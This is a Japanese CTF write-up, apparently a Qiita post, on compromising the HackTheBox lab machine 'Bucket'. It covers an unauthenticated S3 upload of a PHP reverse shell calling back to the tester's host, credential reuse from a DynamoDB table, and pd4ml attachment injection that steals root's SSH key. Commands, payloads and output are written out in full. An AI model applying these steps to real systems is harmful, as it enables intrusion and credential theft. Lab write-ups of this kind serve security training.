0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【HackTheBox】Bucket:Writeup

Posted at

概要

HackTheBox「Bucket」のWriteupです。

User Flag

ポートスキャンを実行します。

$ nmap -Pn -sCV -A -T4 -p- 10.10.10.212 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://bucket.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.2p1
80 http Apache/2.4.41

ドメイン名が分かったので/etc/hostsに追記します。

10.10.10.212    bucket.htb

Webサイトにアクセスします。

image.png

ページのソースコードからs3.bucket.htbというドメインを発見しました。
/etc/hostsにサブドメインを追加しておきます。

image.png

AWS S3から画像を持ってきているようなのでAWS CLIを追加って調査します。

まずAWS CLIをインストールします。

$ sudo apt install -y awscli

有効な認証情報は入手出来ていないので適当に設定します。

$ aws configure
AWS Access Key ID [None]: test
AWS Secret Access Key [None]: test
Default region name [None]: test
Default output format [None]: test

aws s3 lsでバケット内の表示ができ、--endpoint-urlオプションで宛先を指定できます。

image.png

コマンドを実行するとバケット名がadserverだと分かりました。

$ aws s3 ls --endpoint-url=http://s3.bucket.htb
2025-04-06 04:13:02 adserver

adserverバケット内に画像ファイルなどを確認できました。

$ aws s3 ls s3://adserver --endpoint-url=http://s3.bucket.htb 
                           PRE images/
2025-04-06 04:19:01       5344 index.html

バケット内のファイルをダウンロードします。

$ aws --endpoint-url=http://s3.bucket.htb s3 sync s3://adserver .

index.htmlを確認します。

image.png

ターゲットマシンのWebサイトと一致していることから、ApacheでこのS3バケットからファイルを持ってきて動かしていると推測できます。

この仮説を確認するために適当なPHPファイルをS3バケットにコピーします。

$ aws --endpoint-url=http://s3.bucket.htb s3 cp test.php s3://adserver
upload: ./test.php to s3://adserver/test.php

/test.phpにアクセスすると、アップロードしたPHPファイルが実行されています。

image.png

このことから、PHPのリバースシェルファイルをアップロードすればリバースシェルがとれそうです。

リバースシェル用のPHPファイルを作成します。

shell.php
<?php exec('bash -c "bash -i >& /dev/tcp/10.10.14.79/1234 0>&1"');?>

S3に作成したPHPファイルをアップロードします。

$ aws --endpoint-url=http://s3.bucket.htb s3 cp shell.php s3://adserver

Netcatでリッスンします。

$ nc -lnvp 1234

http://bucket.htb/shell.phpにアクセスするとリバースシェルを張れました。

$ nc -lnvp 1234          
listening on [any] 1234 ...
connect to [10.10.14.79] from (UNKNOWN) [10.10.10.212] 41760
bash: cannot set terminal process group (1054): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bucket:/var/www/html$ whoami
whoami
www-data

TTYの設定をします。

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

royアカウントに昇格する必要があるようです。

$ ls -la /home
ls -la /home
total 12
drwxr-xr-x  3 root root 4096 Sep 16  2020 .
drwxr-xr-x 21 root root 4096 Feb 10  2021 ..
drwxr-xr-x  5 roy  roy  4096 Apr  6 01:25 roy

/home/roy/にアクセス可能なprojectフォルダを発見しました。

$ ls -la /home/roy
ls -la /home/roy
total 56
drwxr-xr-x 5 roy  roy   4096 Apr  6 01:25 .
drwxr-xr-x 3 root root  4096 Sep 16  2020 ..
drwxrwxr-x 2 roy  roy   4096 Apr  4 20:14 .aws
lrwxrwxrwx 1 roy  roy      9 Sep 16  2020 .bash_history -> /dev/null
-rw-r--r-- 1 roy  roy    220 Sep 16  2020 .bash_logout
-rw-r--r-- 1 roy  roy   3771 Sep 16  2020 .bashrc
drwx------ 2 roy  roy   4096 Apr  4 20:13 .cache
-rw-r--r-- 1 roy  roy    807 Sep 16  2020 .profile
drwxr-xr-x 3 roy  roy   4096 Sep 24  2020 project
-rw-rw-r-- 1 roy  roy  19286 Apr  6 01:25 result.pdf
-r-------- 1 roy  roy     33 Apr  4 20:11 user.txt

db.phpがあります。

$ ls -la /home/roy/project
ls -la /home/roy/project
total 44
drwxr-xr-x  3 roy roy  4096 Sep 24  2020 .
drwxr-xr-x  5 roy roy  4096 Apr  6 01:25 ..
-rw-rw-r--  1 roy roy    63 Sep 24  2020 composer.json
-rw-rw-r--  1 roy roy 20533 Sep 24  2020 composer.lock
-rw-r--r--  1 roy roy   367 Sep 24  2020 db.php
drwxrwxr-x 10 roy roy  4096 Sep 24  2020 vendor

/home/roy/project/db.phpを確認するとlocalhost:4566へ接続し、DynamoDBを利用しています。

/home/roy/project/db.php
<?php
require 'vendor/autoload.php';
date_default_timezone_set('America/New_York');
use Aws\DynamoDb\DynamoDbClient;
use Aws\DynamoDb\Exception\DynamoDbException;

$client = new Aws\Sdk([
    'profile' => 'default',
    'region'  => 'us-east-1',
    'version' => 'latest',
    'endpoint' => 'http://localhost:4566'
]);

$dynamodb = $client->createDynamoDb();

//todo

ターゲットマシン上でAWS CLIの設定をします。

$ aws configure
aws configure
AWS Access Key ID [None]: test
test
AWS Secret Access Key [None]: test
test
Default region name [None]: ue-east-1
ue-east-1
Default output format [None]: json 
json

AWS CLIでDynamoDBに接続し、list-tablesでテーブル一覧を確認するとusersがあります。

$ aws dynamodb list-tables --endpoint-url http://localhost:4566
<db list-tables --endpoint-url http://localhost:4566
{
    "TableNames": [
        "users"
    ]
}

usersテーブルを確認するといくつかのパスワードを得られました。

$ aws dynamodb scan --table-name users --endpoint-url=http://localhost:4566 
<ble-name users --endpoint-url=http://localhost:4566
{
    "Items": [
        {
            "password": {
                "S": "Management@#1@#"
            },
            "username": {
                "S": "Mgmt"
            }
        },
        {
            "password": {
                "S": "Welcome123!"
            },
            "username": {
                "S": "Cloudadm"
            }
        },
        {
            "password": {
                "S": "n2vM-<_K_Q:.Aa2"
            },
            "username": {
                "S": "Sysadm"
            }
        }
    ],
    "Count": 3,
    "ScannedCount": 3,
    "ConsumedCapacity": null
}

その中のn2vM-<_K_Q:.Aa2でSSH接続に成功しました。

$ ssh roy@bucket.htb
roy@bucket:/tmp$

/home/roy/user.txtからユーザーフラグを入手できました。

$ cat user.txt 
44819fc84df2389e1093c2a15638de74

Root Flag

linpeasを実行します。

$ ./linpeas.sh

ローカルで8000番ポートが動いていると分かりました。

╔══════════╣ Active Ports
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports           
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                      
tcp        0      0 127.0.0.1:4566          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:38957         0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -

SSHでポートフォワーディングをします。

$ ssh roy@bucket.htb -L 8000:127.0.0.1:8000

Webサイトにアクセス出来ました。

image.png

Apacheの設定を確認するとAssignUserId root rootが設定されています。
このWebアプリケーションの脆弱性を突けば、権限昇格出来そうです。

また、ルートフォルダが/var/www/bucket-appだと分かりました。

/etc/apache2/sites-enabled/000-default.conf
<VirtualHost 127.0.0.1:8000>
        <IfModule mpm_itk_module>
                AssignUserId root root
        </IfModule>
        DocumentRoot /var/www/bucket-app
</VirtualHost>

/var/www/bucket-app/index.phpを確認します。

こちらの処理ではaction=get_alertsのようなPOSTリクエストが来た際に、localhost:4566に接続し、DynamoDBを利用しています。

DB接続後、alertsテーブルからtitleRansomwareのデータを取得しています。

その後、ランダムなhtmlファイルを作成しfiles/配下にデータを保存しています。

/var/www/bucket-app/index.php
<?php
require 'vendor/autoload.php';
use Aws\DynamoDb\DynamoDbClient;
if($_SERVER["REQUEST_METHOD"]==="POST") {
        if($_POST["action"]==="get_alerts") {
                date_default_timezone_set('America/New_York');
                $client = new DynamoDbClient([
                        'profile' => 'default',
                        'region'  => 'us-east-1',
                        'version' => 'latest',
                        'endpoint' => 'http://localhost:4566'
                ]);

                $iterator = $client->getIterator('Scan', array(
                        'TableName' => 'alerts',
                        'FilterExpression' => "title = :title",
                        'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),
                ));

                foreach ($iterator as $item) {
                        $name=rand(1,10000).'.html';
                        file_put_contents('files/'.$name,$item["data"]);
                }
                passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
        }
}
else
{
?>

(省略)

最終的にpassthrupd4mlを実行しています。

pd4mlはHTMLをPDFに変換できるJava用のアプリケーションです。

デフォルトではalertsテーブルが無いので、KaliからAWS CLIを使用してテーブルを作成します。

$ aws --endpoint-url http://s3.bucket.htb dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5
{
    "TableDescription": {
        "AttributeDefinitions": [
            {
                "AttributeName": "title",
                "AttributeType": "S"
            },
            {
                "AttributeName": "data",
                "AttributeType": "S"
            }
        ],

(省略)

titleRansomewareのデータを挿入します。

$ aws --endpoint-url http://s3.bucket.htb dynamodb put-item --table-name alerts --item '{"title":{"S":"Ransomware"},"data":{"S":"This is a test"}}'
{
    "ConsumedCapacity": {
        "TableName": "alerts",
        "CapacityUnits": 1.0
    }
}

index.phpの処理を動かすためにPOSTリクエストを送信します。

$ curl http://127.0.0.1:8000/index.php --data 'action=get_alerts'

すると処理通り/var/www/bucket-app/filesにHTMLとPDFファイルが作成されました。

$ ls -la /var/www/bucket-app/files/
total 16
drwxr-x---+ 2 root root 4096 Apr  9 12:59 .
drwxr-x---+ 4 root root 4096 Feb 10  2021 ..
-rw-r--r--  1 root root   14 Apr  9 12:59 4094.html
-rw-r--r--  1 root root 1633 Apr  9 12:59 result.pdf

HTMLにはDynamoDBのデータが入っています。

roy@bucket:/var/www/bucket-app/files$ cat 4094.html 
This is a test

PDFをダウンロードして確認すると、HTMLのデータがpd4mlでPDFに変換されていることが分かります。

image.png

pd4mlを調べると<pd4ml:attachment>でファイルを添付できるようです。

アプリケーションはroot rootで実行されているのでroot権限でファイルを添付し、権限昇格出来そうです。

image.png

/root/.ssh/id_rsaが添付されるようにデータを挿入します。

$ aws --endpoint-url=http://s3.bucket.htb dynamodb put-item --table-name alerts --item '{"title":{"S":"Ransomware"},"data":{"S":"<html><pd4ml:attachment src='\''file:///root/.ssh/id_rsa'\'' description='\''test'\'' icon='\''Paperclip'\''/></html>"}}'
{
    "ConsumedCapacity": {
        "TableName": "alerts",
        "CapacityUnits": 1.0
    }
}

POSTリクエストを送信し、PDFファイルを作成させます。

$ curl http://127.0.0.1:8000/index.php --data 'action=get_alerts'

作成されたPDFをダウンロードするとid_rsaファイルが添付されています。

image.png

得られた秘密鍵でrootのSSH接続に成功しました。

$ ssh root@bucket.htb -i id_rsa
root@bucket:~# whoami
root

/root/root.txtからルートフラグを入手できました。

# cat /root/root.txt 
8af91c8d1e7d26954b4f4eb69f891a74
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?